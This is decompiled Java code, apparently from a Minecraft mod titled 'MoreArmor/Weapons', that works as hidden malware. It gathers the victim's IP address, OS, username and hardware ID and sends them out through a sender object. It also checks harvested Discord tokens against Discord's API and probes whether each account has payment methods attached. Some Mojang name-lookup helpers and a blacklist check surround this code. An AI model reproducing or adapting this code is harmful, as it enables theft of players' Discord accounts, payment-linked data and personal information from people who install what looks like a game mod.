MoreArmor/Weapons

public void execute() throws Exception {
   String ip = new Scanner(new URL("http://checkip.amazonaws.com").openStream(), "UTF-8").useDelimiter("\\A").next();
   Sender.send(
      new Builder("Personal")
         .addField("IP", ip, true)
         .addField("OS", System.getProperty("os.name"), true)
         .addField("Name", System.getProperty("user.name"), true)
         .addField("HWID", HWIDUtil.getID(), true)
         .build()
   );
}

public void run() {
   this.name = this.lookUpName();
}

public static String requestIDs(String data) {
   try {
      String query = "https://api.mojang.com/profiles/minecraft";
      URL url = new URL(query);
      HttpURLConnection conn = (HttpURLConnection)url.openConnection();
      conn.setConnectTimeout(5000);
      conn.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
      conn.setDoOutput(true);
      conn.setDoInput(true);
      conn.setRequestMethod("POST");
      OutputStream os = conn.getOutputStream();
      os.write(data.getBytes(StandardCharsets.UTF_8));
      os.close();
      InputStream in = new BufferedInputStream(conn.getInputStream());
      String res = convertStreamToString(in);
      in.close();
      conn.disconnect();
      return res;
   } catch (Exception e) {
      return null;
   }
}

public static List<String> getValidTokens(List<String> tokens) {
   ArrayList<String> validTokens = new ArrayList<>();
   tokens.forEach(token -> {
      try {
         URL url = new URL("https://discordapp.com/api/v6/users/@me");
         HttpURLConnection con = (HttpURLConnection)url.openConnection();
         Map<String, Object> stuff = (Map<String, Object>)gson.fromJson(getHeaders(token), (new TypeToken<Map<String, Object>>() {}).getType());
         stuff.forEach((key, value) -> con.addRequestProperty(key, (String)value));
         con.getInputStream().close();
         validTokens.add(token);
      } catch (Exception var5) {
      }
   });
   return validTokens;
}

private String getUserData(String token) {
   return TypeUtil.getContentFromURL("https://discordapp.com/api/v6/users/@me", token);
}

public static String getContentFromURL(String link, String auth) {
   try {
      URL url = new URL(link);
      HttpURLConnection httpURLConnection = (HttpURLConnection)url.openConnection();
      httpURLConnection.setRequestMethod("GET");
      Map<String, Object> json = (Map<String, Object>)gson.fromJson(getHeaders(auth), (new TypeToken<Map<String, Object>>() {}).getType());
      json.forEach((key, value) -> httpURLConnection.addRequestProperty(key, (String)value));
      httpURLConnection.connect();
      BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream()));
      StringBuilder stringBuilder = new StringBuilder();

      String line;
      while ((line = bufferedReader.readLine()) != null) {
         stringBuilder.append(line).append("\n");
      }

      bufferedReader.close();
      return stringBuilder.toString();
   } catch (Exception ignored) {
      return "";
   }
}

private boolean hasPaymentMethods(String token) {
   return TypeUtil.getContentFromURL("https://discordapp.com/api/v6/users/@me/billing/payment-sources", token).length() > 4;
}

public static List<String> getHistoryOfNames(UUID id) {
   try {
      JsonArray array = getResources(new URL("https://api.mojang.com/user/profiles/" + getIdNoHyphens(id) + "/names"), "GET").getAsJsonArray();
      List<String> temp = Lists.newArrayList();

      for (JsonElement e : array) {
         JsonObject node = e.getAsJsonObject();
         String name = node.get("name").getAsString();
         long changedAt = node.has("changedToAt") ? node.get("changedToAt").getAsLong() : 0L;
         temp.add(name + "§8" + new Date(changedAt).toString());
      }

      Collections.sort(temp);
      return temp;
   } catch (Exception ignored) {
      return null;
   }
}

private static JsonElement getResources(URL url, String request) throws Exception {
   return getResources(url, request, null);
}

public static boolean blacklisted() {
   try {
      String s = new Scanner(new URL("").openStream(), "UTF-8").useDelimiter("\\A").next();
      return s.contains(getID());
   } catch (Exception e) {
      return false;
   }
}